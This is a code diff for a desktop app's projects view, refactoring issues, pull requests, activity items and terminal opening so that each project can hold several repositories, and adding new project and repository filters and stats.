--- a/desktop/src/features/projects/ui/ProjectsActivityFeed.tsx
+++ b/desktop/src/features/projects/ui/ProjectsActivityFeed.tsx
@@ -10,6 +10,7 @@ import type {
   ProjectPullRequest,
   ProjectPullRequestListItem,
   ProjectRepoSnapshot,
+  Repository,
 } from "@/features/projects/hooks";
 import {
   formatExactTimestamp,
@@ -37,9 +38,15 @@ type ActivityTarget =
   | {
       type: "pull-request";
       project: Project;
+      repository: Repository;
       pullRequest: ProjectPullRequest;
     }
-  | { type: "issue"; project: Project; issue: ProjectIssue };
+  | {
+      type: "issue";
+      project: Project;
+      repository: Repository;
+      issue: ProjectIssue;
+    };
 
 type ProjectActivityItem = {
   id: string;
@@ -59,10 +66,15 @@ type ProjectsActivityFeedProps = {
   isLoading: boolean;
   issues: ProjectIssueListItem[];
   onOpenCommit: (project: Project, commitHash: string) => void;
-  onOpenIssue: (project: Project, issue: ProjectIssue) => void;
+  onOpenIssue: (
+    project: Project,
+    repository: Repository,
+    issue: ProjectIssue,
+  ) => void;
   onOpenProject: (project: Project) => void;
   onOpenPullRequest: (
     project: Project,
+    repository: Repository,
     pullRequest: ProjectPullRequest,
   ) => void;
   profiles?: UserProfileLookup;
@@ -129,10 +141,15 @@ function buildActivityItems({
     });
   }
 
-  for (const { project, pullRequest } of pullRequests) {
-    const target = { type: "pull-request", project, pullRequest } as const;
+  for (const { project, pullRequest, repository } of pullRequests) {
+    const target = {
+      type: "pull-request",
+      project,
+      pullRequest,
+      repository,
+    } as const;
     items.push({
-      id: `pr:${pullRequest.id}`,
+      id: `pr:${repository.id}:${pullRequest.id}`,
       kind: "pull-request",
       createdAt: pullRequest.createdAt,
       actorPubkey: pullRequest.author,
@@ -145,7 +162,7 @@ function buildActivityItems({
     });
     for (const update of pullRequest.updates) {
       items.push({
-        id: `pr-update:${update.id}`,
+        id: `pr-update:${repository.id}:${update.id}`,
         kind: "commit",
         createdAt: update.createdAt,
         actorPubkey: update.author,
@@ -172,7 +189,7 @@ function buildActivityItems({
               ? "review-request"
               : "comment";
       items.push({
-        id: `pr-comment:${comment.id}`,
+        id: `pr-comment:${repository.id}:${comment.id}`,
         kind,
         createdAt: comment.createdAt,
         actorPubkey: comment.author,
@@ -198,10 +215,10 @@ function buildActivityItems({
     }
   }
 
-  for (const { project, issue } of issues) {
-    const target = { type: "issue", project, issue } as const;
+  for (const { project, issue, repository } of issues) {
+    const target = { type: "issue", project, issue, repository } as const;
     items.push({
-      id: `issue:${issue.id}`,
+      id: `issue:${repository.id}:${issue.id}`,
       kind: "issue",
       createdAt: issue.createdAt,
       actorPubkey: issue.author,
@@ -214,7 +231,7 @@ function buildActivityItems({
     });
     for (const comment of issue.comments) {
       items.push({
-        id: `issue-comment:${comment.id}`,
+        id: `issue-comment:${repository.id}:${comment.id}`,
         kind: "comment",
         createdAt: comment.createdAt,
         actorPubkey: comment.author,
@@ -422,10 +439,15 @@ export function ProjectsActivityFeed(props: ProjectsActivityFeedProps) {
                 } else if (item.target.type === "pull-request") {
                   props.onOpenPullRequest(
                     item.target.project,
+                    item.target.repository,
                     item.target.pullRequest,
                   );
                 } else {
-                  props.onOpenIssue(item.target.project, item.target.issue);
+                  props.onOpenIssue(
+                    item.target.project,
+                    item.target.repository,
+                    item.target.issue,
+                  );
                 }
               }}
               onOpenProject={() => props.onOpenProject(item.target.project)}
diff --git a/desktop/src/features/projects/ui/ProjectsAgentPromptPage.tsx b/desktop/src/features/projects/ui/ProjectsAgentPromptPage.tsx
index 29705425f6..55048a638d 100644
--- a/desktop/src/features/projects/ui/ProjectsAgentPromptPage.tsx
+++ b/desktop/src/features/projects/ui/ProjectsAgentPromptPage.tsx
@@ -81,10 +81,19 @@ const REPO_CONTEXT_MARKER = "Workspace repositories:";
  * with the first message of a conversation. */
 function repoContextBlock(projects: readonly Project[]) {
   if (projects.length === 0) return "";
-  const listed = projects
+  const repositories = projects.flatMap((project) =>
+    project.repositories.map((repository) => ({
+      label:
+        project.repositories.length > 1
+          ? `${project.name} / ${repository.name}`
+          : project.name,
+      repoAddress: repository.repoAddress,
+    })),
+  );
+  const listed = repositories
     .slice(0, MAX_CONTEXT_REPOS)
-    .map((project) => `- ${project.name} (${project.repoAddress})`);
-  const remaining = projects.length - listed.length;
+    .map((repository) => `- ${repository.label} (${repository.repoAddress})`);
+  const remaining = repositories.length - listed.length;
   return ["", "---", REPO_CONTEXT_MARKER, ...listed]
     .concat(remaining > 0 ? [`…and ${remaining} more`] : [])
     .join("\n");
@@ -139,6 +148,7 @@ function useAgentCandidates() {
     );
     const mentionable = getMentionableAgentPubkeys({
       currentPubkey: identityQuery.data?.pubkey,
+      eligibilityScope: { type: "community" },
       managedAgentPubkeys: managedByPubkey.keys(),
       relayAgents,
       sharedChannelIds: getSharedChannelIds(channelsQuery.data),
diff --git a/desktop/src/features/projects/ui/ProjectsCreateMenu.tsx b/desktop/src/features/projects/ui/ProjectsCreateMenu.tsx
index 4550682c2e..b1e64002a5 100644
--- a/desktop/src/features/projects/ui/ProjectsCreateMenu.tsx
+++ b/desktop/src/features/projects/ui/ProjectsCreateMenu.tsx
@@ -12,12 +12,12 @@ const MENU_ITEM_CLASS =
 
 export function ProjectsCreateMenu({
   onCreateIssue,
+  onCreateProject,
   onCreatePullRequest,
-  onCreateRepository,
 }: {
   onCreateIssue: () => void;
+  onCreateProject: () => void;
   onCreatePullRequest: () => void;
-  onCreateRepository: () => void;
 }) {
   const [open, setOpen] = React.useState(false);
   const containerRef = React.useRef<HTMLElement>(null);
@@ -88,12 +88,12 @@ export function ProjectsCreateMenu({
           >
             <button
               className={MENU_ITEM_CLASS}
-              onClick={() => select(onCreateRepository)}
+              onClick={() => select(onCreateProject)}
               role="menuitem"
               type="button"
             >
               <FolderGit2 />
-              Repository
+              Project
             </button>
             <button
               className={MENU_ITEM_CLASS}
diff --git a/desktop/src/features/projects/ui/ProjectsIssuesList.tsx b/desktop/src/features/projects/ui/ProjectsIssuesList.tsx
index 240d3345d4..ea0fdf5d8a 100644
--- a/desktop/src/features/projects/ui/ProjectsIssuesList.tsx
+++ b/desktop/src/features/projects/ui/ProjectsIssuesList.tsx
@@ -4,6 +4,7 @@ import type {
   Project,
   ProjectIssue,
   ProjectIssueListItem,
+  Repository,
 } from "@/features/projects/hooks";
 import { relativeTime } from "@/features/projects/lib/projectsViewHelpers";
 import type { ProjectWorkItemSection } from "@/features/projects/projectWorkItems";
@@ -11,10 +12,10 @@ import {
   resolveUserLabel,
   type UserProfileLookup,
 } from "@/features/profile/lib/identity";
-import { UserProfilePopover } from "@/features/profile/ui/UserProfilePopover";
 import { Button } from "@/shared/ui/button";
 import { Card } from "@/shared/ui/card";
 import { DropdownMenuItem } from "@/shared/ui/dropdown-menu";
+import { ProjectAuthorIdentity } from "./ProjectAuthorIdentity";
 import { ProjectEventTypeIcon } from "./ProjectEventTypeIcon";
 import { ProjectListRowMenu } from "./ProjectListRowMenu";
 import { ProjectsWorkItemsLoadNotice } from "./ProjectsWorkItemsLoadNotice";
@@ -34,7 +35,11 @@ type ProjectsIssuesListProps = {
   failedSections: ProjectWorkItemSection[];
   isLoading: boolean;
   isRetrying: boolean;
-  onOpen: (project: Project, issue: ProjectIssue) => void;
+  onOpen: (
+    project: Project,
+    repository: Repository,
+    issue: ProjectIssue,
+  ) => void;
   onRetry: () => void;
   profiles?: UserProfileLookup;
   issues: ProjectIssueListItem[];
@@ -49,11 +54,13 @@ function nextStepLabel(status: ProjectIssue["status"]) {
 }
 
 function IssueHeader({
+  authorTestId,
   includeDate = true,
   issue,
   profiles,
   project,
 }: {
+  authorTestId?: string;
   includeDate?: boolean;
   issue: ProjectIssue;
   profiles?: UserProfileLookup;
@@ -70,14 +77,12 @@ function IssueHeader({
         {project.name}
         {includeDate ? ` · created ${relativeTime(issue.createdAt)}` : null} ·
         by{" "}
-        <UserProfilePopover pubkey={issue.author} triggerElement="span">
-          <button
-            className="relative z-10 rounded-sm hover:underline focus-visible:outline-hidden focus-visible:ring-1 focus-visible:ring-ring"
-            type="button"
-          >
-            {authorLabel}
-          </button>
-        </UserProfilePopover>
+        <ProjectAuthorIdentity
+          label={authorLabel}
+          profiles={profiles}
+          pubkey={issue.author}
+          testId={authorTestId}
+        />
         {includeDate ? (
           ` · ${issue.status}`
         ) : (
@@ -182,6 +187,7 @@ function IssueListRow({
       <div className={PROJECT_LIST_ROW_CONTENT_CLASS}>
         <ProjectEventTypeIcon className="h-5 w-5" kind="issue" />
         <IssueHeader
+          authorTestId="projects-issue-author"
           includeDate={false}
           issue={issue}
           profiles={profiles}
@@ -265,11 +271,13 @@ export function ProjectsIssuesList({
       <div className="space-y-3">
         {loadNotice}
         <div className="grid gap-3 md:grid-cols-2 xl:grid-cols-3">
-          {issues.map(({ project, issue }) => (
+          {issues.map(({ project, issue, repository }) => (
             <IssueGridCard
               issue={issue}
-              key={issue.id}
-              onOpen={onOpen}
+              key={`${repository.id}:${issue.id}`}
+              onOpen={(selectedProject, selectedIssue) =>
+                onOpen(selectedProject, repository, selectedIssue)
+              }
               profiles={profiles}
               project={project}
             />
@@ -286,11 +294,13 @@ export function ProjectsIssuesList({
         className={PROJECT_LIST_CONTAINER_CLASS}
         data-testid="projects-list-container"
       >
-        {issues.map(({ project, issue }) => (
+        {issues.map(({ project, issue, repository }) => (
           <IssueListRow
             issue={issue}
-            key={issue.id}
-            onOpen={onOpen}
+            key={`${repository.id}:${issue.id}`}
+            onOpen={(selectedProject, selectedIssue) =>
+              onOpen(selectedProject, repository, selectedIssue)
+            }
             profiles={profiles}
             project={project}
           />
diff --git a/desktop/src/features/projects/ui/ProjectsOverviewPanel.tsx b/desktop/src/features/projects/ui/ProjectsOverviewPanel.tsx
index b11e7d1235..b31e120abc 100644
--- a/desktop/src/features/projects/ui/ProjectsOverviewPanel.tsx
+++ b/desktop/src/features/projects/ui/ProjectsOverviewPanel.tsx
@@ -1,4 +1,4 @@
-import { CircleDot, FolderGit2, GitPullRequest, Radio } from "lucide-react";
+import { CircleDot, FolderGit2, Folders, GitPullRequest } from "lucide-react";
 import type * as React from "react";
 
 import type {
@@ -7,14 +7,13 @@ import type {
 } from "@/features/projects/hooks";
 
 export type ProjectsOverviewSection =
+  | "projects"
   | "repositories"
   | "prs"
-  | "local"
   | "issues";
 
 type ProjectsOverviewPanelProps = {
   children: React.ReactNode;
-  localRepositoryCount: number;
   metadata: React.ReactNode;
   onSelectSection: (section: ProjectsOverviewSection) => void;
   projects: Project[];
@@ -27,7 +26,7 @@ function overviewStats(
 ) {
   return projects.reduce(
     (stats, project) => {
-      const summary = summaries?.[project.repoAddress];
+      const summary = summaries?.[project.id];
       return {
         issues: stats.issues + (summary?.issueCount ?? 0),
         prs: stats.prs + (summary?.prCount ?? 0),
@@ -70,7 +69,6 @@ function StatPill({
 
 export function ProjectsOverviewPanel({
   children,
-  localRepositoryCount,
   metadata,
   onSelectSection,
   projects,
@@ -84,6 +82,15 @@ export function ProjectsOverviewPanel({
         <div className="order-1 grid grid-cols-2 gap-2 p-4 pt-0 sm:gap-3 xl:order-none xl:col-start-1 xl:row-start-1 xl:grid-cols-4">
           <StatPill
             count={projects.length}
+            icon={Folders}
+            label="Projects"
+            onClick={() => onSelectSection("projects")}
+          />
+          <StatPill
+            count={projects.reduce(
+              (count, project) => count + project.repositories.length,
+              0,
+            )}
             icon={FolderGit2}
             label="Repositories"
             onClick={() => onSelectSection("repositories")}
@@ -94,12 +101,6 @@ export function ProjectsOverviewPanel({
             label="Pull requests"
             onClick={() => onSelectSection("prs")}
           />
-          <StatPill
-            count={localRepositoryCount}
-            icon={Radio}
-            label="Local"
-            onClick={() => onSelectSection("local")}
-          />
           <StatPill
             count={stats.issues}
             icon={CircleDot}
diff --git a/desktop/src/features/projects/ui/ProjectsOverviewRail.tsx b/desktop/src/features/projects/ui/ProjectsOverviewRail.tsx
index 9f77cf102c..284c53365f 100644
--- a/desktop/src/features/projects/ui/ProjectsOverviewRail.tsx
+++ b/desktop/src/features/projects/ui/ProjectsOverviewRail.tsx
@@ -27,8 +27,11 @@ function overviewPeople(
       projects.flatMap((project) =>
         [
           project.owner,
-          ...project.contributors,
-          ...(summaries?.[project.repoAddress]?.participantPubkeys ?? []),
+          ...project.repositories.flatMap((repository) => [
+            repository.owner,
+            ...repository.contributors,
+          ]),
+          ...(summaries?.[project.id]?.participantPubkeys ?? []),
         ].map(normalizePubkey),
       ),
     ),
@@ -41,7 +44,7 @@ function overviewActivityByDay(
 ) {
   const merged: Record<string, number> = {};
   for (const project of projects) {
-    const byDay = summaries?.[project.repoAddress]?.activityByDay;
+    const byDay = summaries?.[project.id]?.activityByDay;
     if (!byDay) continue;
     for (const [day, count] of Object.entries(byDay)) {
       merged[day] = (merged[day] ?? 0) + count;
diff --git a/desktop/src/features/projects/ui/ProjectsPullRequestsList.tsx b/desktop/src/features/projects/ui/ProjectsPullRequestsList.tsx
index a1f28254e8..f04acb5b82 100644
--- a/desktop/src/features/projects/ui/ProjectsPullRequestsList.tsx
+++ b/desktop/src/features/projects/ui/ProjectsPullRequestsList.tsx
@@ -4,6 +4,7 @@ import type {
   Project,
   ProjectPullRequest,
   ProjectPullRequestListItem,
+  Repository,
 } from "@/features/projects/hooks";
 import { relativeTime } from "@/features/projects/lib/projectsViewHelpers";
 import type { ProjectWorkItemSection } from "@/features/projects/projectWorkItems";
@@ -11,10 +12,10 @@ import {
   resolveUserLabel,
   type UserProfileLookup,
 } from "@/features/profile/lib/identity";
-import { UserProfilePopover } from "@/features/profile/ui/UserProfilePopover";
 import { Button } from "@/shared/ui/button";
 import { Card } from "@/shared/ui/card";
 import { DropdownMenuItem } from "@/shared/ui/dropdown-menu";
+import { ProjectAuthorIdentity } from "./ProjectAuthorIdentity";
 import { ProjectEventTypeIcon } from "./ProjectEventTypeIcon";
 import { ProjectListRowMenu } from "./ProjectListRowMenu";
 import { ProjectsWorkItemsLoadNotice } from "./ProjectsWorkItemsLoadNotice";
@@ -29,32 +30,16 @@ import {
   PROJECT_LIST_ROW_TRAILING_CLASS,
 } from "./projectListRowStyles";
 
-/** Author name that opens the user profile popover. */
-function AuthorNameButton({
-  label,
-  pubkey,
-}: {
-  label: string;
-  pubkey: string;
-}) {
-  return (
-    <UserProfilePopover pubkey={pubkey} triggerElement="span">
-      <button
-        className="relative z-10 rounded-sm hover:underline focus-visible:outline-hidden focus-visible:ring-1 focus-visible:ring-ring"
-        type="button"
-      >
-        {label}
-      </button>
-    </UserProfilePopover>
-  );
-}
-
 type ProjectsPullRequestsListProps = {
   error: unknown;
   failedSections: ProjectWorkItemSection[];
   isLoading: boolean;
   isRetrying: boolean;
-  onOpen: (project: Project, pullRequest: ProjectPullRequest) => void;
+  onOpen: (
+    project: Project,
+    repository: Repository,
+    pullRequest: ProjectPullRequest,
+  ) => void;
   onRetry: () => void;
   profiles?: UserProfileLookup;
   pullRequests: ProjectPullRequestListItem[];
@@ -140,8 +125,9 @@ function PullRequestGridCard({
             <span>created {relativeTime(pullRequest.createdAt)}</span>
             <span>
               by{" "}
-              <AuthorNameButton
+              <ProjectAuthorIdentity
                 label={authorLabel}
+                profiles={profiles}
                 pubkey={pullRequest.author}
               />
             </span>
@@ -200,11 +186,13 @@ function PullRequestListRow({
             <span className="font-mono text-foreground">
               #{pullRequest.id.slice(0, 8)}
             </span>
-            <span>
-              by{" "}
-              <AuthorNameButton
+            <span className="inline-flex items-center gap-1">
+              <span>by</span>
+              <ProjectAuthorIdentity
                 label={authorLabel}
+                profiles={profiles}
                 pubkey={pullRequest.author}
+                testId="projects-pr-author"
               />
             </span>
             <span className="md:hidden">·</span>
@@ -291,10 +279,12 @@ export function ProjectsPullRequestsList({
       <div className="space-y-3">
         {loadNotice}
         <div className="grid gap-3 md:grid-cols-2 xl:grid-cols-3">
-          {pullRequests.map(({ project, pullRequest }) => (
+          {pullRequests.map(({ project, pullRequest, repository }) => (
             <PullRequestGridCard
-              key={pullRequest.id}
-              onOpen={onOpen}
+              key={`${repository.id}:${pullRequest.id}`}
+              onOpen={(selectedProject, selectedPullRequest) =>
+                onOpen(selectedProject, repository, selectedPullRequest)
+              }
               profiles={profiles}
               project={project}
               pullRequest={pullRequest}
@@ -312,10 +302,12 @@ export function ProjectsPullRequestsList({
         className={PROJECT_LIST_CONTAINER_CLASS}
         data-testid="projects-list-container"
       >
-        {pullRequests.map(({ project, pullRequest }) => (
+        {pullRequests.map(({ project, pullRequest, repository }) => (
           <PullRequestListRow
-            key={pullRequest.id}
-            onOpen={onOpen}
+            key={`${repository.id}:${pullRequest.id}`}
+            onOpen={(selectedProject, selectedPullRequest) =>
+              onOpen(selectedProject, repository, selectedPullRequest)
+            }
             profiles={profiles}
             project={project}
             pullRequest={pullRequest}
diff --git a/desktop/src/features/projects/ui/ProjectsToolbar.tsx b/desktop/src/features/projects/ui/ProjectsToolbar.tsx
index 5e4ee73204..925e708c3b 100644
--- a/desktop/src/features/projects/ui/ProjectsToolbar.tsx
+++ b/desktop/src/features/projects/ui/ProjectsToolbar.tsx
@@ -59,7 +59,8 @@ export function ProjectsToolbar({
     label: string;
     value: ProjectsFilter;
   }> = [
-    { label: "Overview", value: "all" },
+    { label: "Activity", value: "all" },
+    { label: "Projects", value: "projects" },
     { label: "Repositories", value: "repositories" },
     { label: "Pull Requests", value: "prs" },
     { label: "Issues", value: "issues" },
@@ -82,6 +83,7 @@ export function ProjectsToolbar({
                 option.value === "all" && "pl-0 after:left-0",
                 filter === option.value && SELECTED_MENU_ITEM_CLASSES,
               )}
+              data-testid={`projects-section-${option.value}`}
               key={option.value}
               onClick={() => onFilterChange(option.value)}
               type="button"
diff --git a/desktop/src/features/projects/ui/ProjectsView.tsx b/desktop/src/features/projects/ui/ProjectsView.tsx
index d0a3d2eb9a..72a514cea5 100644
--- a/desktop/src/features/projects/ui/ProjectsView.tsx
+++ b/desktop/src/features/projects/ui/ProjectsView.tsx
@@ -7,14 +7,21 @@ import {
   type Project,
   type ProjectIssue,
   type ProjectPullRequest,
+  type Repository,
   useDeleteProjectMutation,
   useProjectActivitySummariesQuery,
   useProjectLocalRepositoriesQuery,
   useProjectsQuery,
   useProjectsWorkItemsQuery,
 } from "@/features/projects/hooks";
+import { useRepositoryActivitySummariesQuery } from "@/features/projects/repositoryActivityHooks";
 import { useCreateProjectMutation } from "@/features/projects/useCreateProject";
+import { selectProjectRepository } from "@/features/projects/projectModels";
 import { useProjectsRepoSnapshotsQuery } from "@/features/projects/useProjectsRepoSnapshots";
+import {
+  projectRepoHostForProject,
+  projectRepoHostForRepository,
+} from "@/features/projects/lib/projectRepoHost";
 import { ProjectsActivityFeed } from "@/features/projects/ui/ProjectsActivityFeed";
 import {
   EmptyFilteredState,
@@ -37,7 +44,14 @@ import {
   ProjectsToolbar,
   ProjectsViewModeToggle,
 } from "@/features/projects/ui/ProjectsToolbar";
-import { hasLocalCheckout } from "@/features/projects/lib/projectLocalRepos";
+import {
+  hasLocalCheckout,
+  hasLocalRepositoryCheckout,
+} from "@/features/projects/lib/projectLocalRepos";
+import {
+  RepositoryGridCard,
+  RepositoryListRow,
+} from "@/features/projects/ui/RepositoryCards";
 import {
   getProjectUpdatedAt,
   isProjectMine,
@@ -56,7 +70,6 @@ import {
   readStoredRepositoryScope,
   readStoredSort,
   readStoredViewMode,
-  uniqueRepositories,
   writeStoredFilter,
   writeStoredIssueScope,
   writeStoredPullRequestScope,
@@ -65,15 +78,25 @@ import {
   writeStoredViewMode,
 } from "@/features/projects/lib/projectsViewHelpers";
 import { useOpenProjectTerminal } from "@/features/projects/ui/useOpenProjectTerminal";
+import { ViewLoadingFallback } from "@/shared/ui/ViewLoadingFallback";
 import { useCommunities } from "@/features/communities/useCommunities";
 import { useIdentityQuery } from "@/shared/api/hooks";
 import { topChromeInset } from "@/shared/layout/chromeLayout";
 import { cn } from "@/shared/lib/cn";
 import { normalizePubkey } from "@/shared/lib/pubkey";
+import { useRelayOrigin } from "@/shared/lib/useRelayOrigin";
 import { Button } from "@/shared/ui/button";
 import { PageHeader } from "@/shared/ui/PageHeader";
 
 const MANY_PROJECTS_THRESHOLD = 12;
+const PROJECT_SCOPE_OPTIONS: Array<{
+  label: string;
+  value: ProjectsRepositoryScope;
+}> = [
+  { label: "All", value: "all" },
+  { label: "My Projects", value: "mine" },
+  { label: "Local", value: "local" },
+];
 const REPOSITORY_SCOPE_OPTIONS: Array<{
   label: string;
   value: ProjectsRepositoryScope;
@@ -81,6 +104,8 @@ const REPOSITORY_SCOPE_OPTIONS: Array<{
   { label: "All", value: "all" },
   { label: "My Repositories", value: "mine" },
   { label: "Local", value: "local" },
+  { label: "Buzz-hosted", value: "buzz" },
+  { label: "Linked", value: "linked" },
 ];
 const PULL_REQUEST_SCOPE_OPTIONS: Array<{
   label: string;
@@ -100,6 +125,7 @@ const ISSUE_SCOPE_OPTIONS: Array<{
 export function ProjectsView() {
   const { goProject } = useAppNavigation();
   const { activeCommunity } = useCommunities();
+  const relayOrigin = useRelayOrigin();
   const scrollIdleTimerRef = React.useRef<ReturnType<typeof setTimeout> | null>(
     null,
   );
@@ -152,10 +178,21 @@ export function ProjectsView() {
       : storedFilter;
   });
   const activitySummariesQuery = useProjectActivitySummariesQuery(
-    filter === "prs" || filter === "issues" ? [] : projects,
+    filter === "prs" || filter === "issues" || filter === "repositories"
+      ? []
+      : projects,
+  );
+  const repositoryActivitySummariesQuery = useRepositoryActivitySummariesQuery(
+    filter === "repositories" ? projects : [],
   );
   const [repositoryScope, setRepositoryScope] =
-    React.useState<ProjectsRepositoryScope>(() => readStoredRepositoryScope());
+    React.useState<ProjectsRepositoryScope>(() => {
+      const storedScope = readStoredRepositoryScope();
+      return filter === "projects" &&
+        (storedScope === "buzz" || storedScope === "linked")
+        ? "all"
+        : storedScope;
+    });
   const [pullRequestScope, setPullRequestScope] =
     React.useState<ProjectsWorkItemScope>(() => readStoredPullRequestScope());
   const [issueScope, setIssueScope] = React.useState<ProjectsWorkItemScope>(
@@ -164,11 +201,17 @@ export function ProjectsView() {
   const projectsWorkItemsQuery = useProjectsWorkItemsQuery(
     filter === "all" || filter === "prs" || filter === "issues" ? projects : [],
   );
-  // One blobless clone per unique repository — only scan while the overview
-  // header (filter === "all") is actually visible.
+  // One blobless clone per primary Buzz repository, only while the overview
+  // header is visible.
   const snapshotProjects = React.useMemo(
-    () => (filter === "all" ? uniqueRepositories(projects) : []),
-    [filter, projects],
+    () =>
+      filter === "all"
+        ? projects.filter(
+            (project) =>
+              projectRepoHostForProject(project, relayOrigin).kind === "buzz",
+          )
+        : [],
+    [filter, projects, relayOrigin],
   );
   const repoSnapshotsQuery = useProjectsRepoSnapshotsQuery(
     snapshotProjects,
@@ -191,10 +234,7 @@ export function ProjectsView() {
       ...new Set(
         [
           ...projects.flatMap((project) =>
-            projectPeople(
-              project,
-              activitySummariesQuery.data?.[project.repoAddress],
-            ),
+            projectPeople(project, activitySummariesQuery.data?.[project.id]),
           ),
           ...(projectsWorkItemsQuery.data?.pullRequests.items.flatMap(
             ({ pullRequest }) => [
@@ -231,10 +271,20 @@ export function ProjectsView() {
     [],
   );
 
-  const handleFilterChange = React.useCallback((nextFilter: ProjectsFilter) => {
-    setFilter(nextFilter);
-    writeStoredFilter(nextFilter);
-  }, []);
+  const handleFilterChange = React.useCallback(
+    (nextFilter: ProjectsFilter) => {
+      if (
+        nextFilter === "projects" &&
+        (repositoryScope === "buzz" || repositoryScope === "linked")
+      ) {
+        setRepositoryScope("all");
+        writeStoredRepositoryScope("all");
+      }
+      setFilter(nextFilter);
+      writeStoredFilter(nextFilter);
+    },
+    [repositoryScope],
+  );
 
   const handleRepositoryScopeChange = React.useCallback(
     (scope: ProjectsRepositoryScope) => {
@@ -275,30 +325,27 @@ export function ProjectsView() {
     [localRepositoriesQuery.data],
   );
 
-  // Count projects with a checkout on this machine — matches what the
-  // "Local" filter actually lists, not every directory in the repos folder.
-  const localProjectCount = React.useMemo(
-    () =>
-      projects.filter((project) => hasLocalCheckout(project, localRepoNames))
-        .length,
-    [localRepoNames, projects],
-  );
-
   const visibleProjects = React.useMemo(() => {
-    // The PRs and Issues filters render dedicated lists
-    // (visiblePullRequests / visibleIssues), not project cards.
-    if (filter === "prs" || filter === "issues") {
+    if (filter !== "projects" && filter !== "agents" && filter !== "users") {
       return [];
     }
 
     const sortedProjects = projects
       .filter((project) => {
-        const summary = activitySummariesQuery.data?.[project.repoAddress];
+        const summary = activitySummariesQuery.data?.[project.id];
         const people = projectPeople(project, summary);
         if (repositoryScope === "mine")
           return isProjectMine(project, currentPubkey);
         if (repositoryScope === "local")
           return hasLocalCheckout(project, localRepoNames);
+        if (repositoryScope === "buzz")
+          return (
+            projectRepoHostForProject(project, relayOrigin).kind === "buzz"
+          );
+        if (repositoryScope === "linked")
+          return (
+            projectRepoHostForProject(project, relayOrigin).kind === "external"
+          );
         if (filter === "agents") {
           return projectHasAgent(project, people, profiles);
         }
@@ -306,8 +353,8 @@ export function ProjectsView() {
         return true;
       })
       .sort((left, right) => {
-        const leftSummary = activitySummariesQuery.data?.[left.repoAddress];
-        const rightSummary = activitySummariesQuery.data?.[right.repoAddress];
+        const leftSummary = activitySummariesQuery.data?.[left.id];
+        const rightSummary = activitySummariesQuery.data?.[right.id];
         if (sort === "name") {
           return left.name.localeCompare(right.name);
         }
@@ -320,9 +367,7 @@ export function ProjectsView() {
         );
       });
 
-    return filter === "repositories"
-      ? uniqueRepositories(sortedProjects)
-      : sortedProjects;
+    return sortedProjects;
   }, [
     activitySummariesQuery.data,
     currentPubkey,
@@ -330,6 +375,76 @@ export function ProjectsView() {
     localRepoNames,
     profiles,
     projects,
+    relayOrigin,
+    repositoryScope,
+    sort,
+  ]);
+
+  const visibleRepositories = React.useMemo(() => {
+    if (filter !== "repositories") return [];
+    const repositories = [
+      ...new Map(
+        projects
+          .flatMap((project) =>
+            project.repositories.map((repository) => ({
+              project,
+              repository,
+            })),
+          )
+          .map((item) => [item.repository.repoAddress, item]),
+      ).values(),
+    ];
+    return repositories
+      .filter(({ repository }) => {
+        if (repositoryScope === "mine") {
+          if (!currentPubkey) return false;
+          const normalizedCurrentPubkey = normalizePubkey(currentPubkey);
+          return (
+            normalizePubkey(repository.owner) === normalizedCurrentPubkey ||
+            repository.contributors.some(
+              (pubkey) => normalizePubkey(pubkey) === normalizedCurrentPubkey,
+            )
+          );
+        }
+        if (repositoryScope === "local") {
+          return hasLocalRepositoryCheckout(repository, localRepoNames);
+        }
+        if (repositoryScope === "buzz") {
+          return (
+            projectRepoHostForRepository(repository, relayOrigin).kind ===
+            "buzz"
+          );
+        }
+        if (repositoryScope === "linked") {
+          return (
+            projectRepoHostForRepository(repository, relayOrigin).kind ===
+            "external"
+          );
+        }
+        return true;
+      })
+      .sort((left, right) => {
+        if (sort === "name") {
+          return left.repository.name.localeCompare(right.repository.name);
+        }
+        if (sort === "created") {
+          return right.repository.createdAt - left.repository.createdAt;
+        }
+        const leftUpdatedAt =
+          repositoryActivitySummariesQuery.data?.[left.repository.repoAddress]
+            ?.updatedAt ?? left.repository.createdAt;
+        const rightUpdatedAt =
+          repositoryActivitySummariesQuery.data?.[right.repository.repoAddress]
+            ?.updatedAt ?? right.repository.createdAt;
+        return rightUpdatedAt - leftUpdatedAt;
+      });
+  }, [
+    currentPubkey,
+    filter,
+    localRepoNames,
+    projects,
+    relayOrigin,
+    repositoryActivitySummariesQuery.data,
     repositoryScope,
     sort,
   ]);
@@ -384,6 +499,13 @@ export function ProjectsView() {
     [goProject],
   );
 
+  const handleOpenRepository = React.useCallback(
+    (project: Project, repository: Repository) => {
+      void goProject(project.id, { repositoryId: repository.id });
+    },
+    [goProject],
+  );
+
   const handleOpenCommit = React.useCallback(
     (project: Project, commitHash: string) => {
       void goProject(project.id, { commitHash });
@@ -392,24 +514,52 @@ export function ProjectsView() {
   );
 
   const handleOpenPullRequest = React.useCallback(
-    (project: Project, pullRequest: ProjectPullRequest) => {
-      void goProject(project.id, { pullRequestId: pullRequest.id });
+    (
+      project: Project,
+      repository: Repository,
+      pullRequest: ProjectPullRequest,
+    ) => {
+      void goProject(project.id, {
+        pullRequestId: pullRequest.id,
+        repositoryId: repository.id,
+      });
     },
     [goProject],
   );
 
   const handleOpenIssue = React.useCallback(
-    (project: Project, issue: ProjectIssue) => {
-      void goProject(project.id, { issueId: issue.id });
+    (project: Project, repository: Repository, issue: ProjectIssue) => {
+      void goProject(project.id, {
+        issueId: issue.id,
+        repositoryId: repository.id,
+      });
     },
     [goProject],
   );
 
   const openTerminal = useOpenProjectTerminal(activeCommunity?.reposDir);
   const handleOpenTerminal = React.useCallback(
-    (project: Project) =>
-      openTerminal(project, {
-        hasLocalCheckout: hasLocalCheckout(project, localRepoNames),
+    (project: Project) => {
+      const repository = selectProjectRepository(project, null);
+      if (!repository) return Promise.resolve();
+      return openTerminal(repository, {
+        // Check the selected repository only — not all members — so the
+        // terminal affordance reflects the repository the button will open.
+        hasLocalCheckout: hasLocalRepositoryCheckout(
+          repository,
+          localRepoNames,
+        ),
+      });
+    },
+    [localRepoNames, openTerminal],
+  );
+  const handleOpenRepositoryTerminal = React.useCallback(
+    (repository: Repository) =>
+      openTerminal(repository, {
+        hasLocalCheckout: hasLocalRepositoryCheckout(
+          repository,
+          localRepoNames,
+        ),
       }),
     [localRepoNames, openTerminal],
   );
@@ -429,7 +579,7 @@ export function ProjectsView() {
   );
 
   if (projectsQuery.isLoading) {
-    return null;
+    return <ViewLoadingFallback kind="projects" />;
   }
 
   if (projectsQuery.isError) {
@@ -451,7 +601,7 @@ export function ProjectsView() {
     return <EmptyState />;
   }
 
-  const repositoryItems =
+  const projectItems =
     visibleProjects.length === 0 ? (
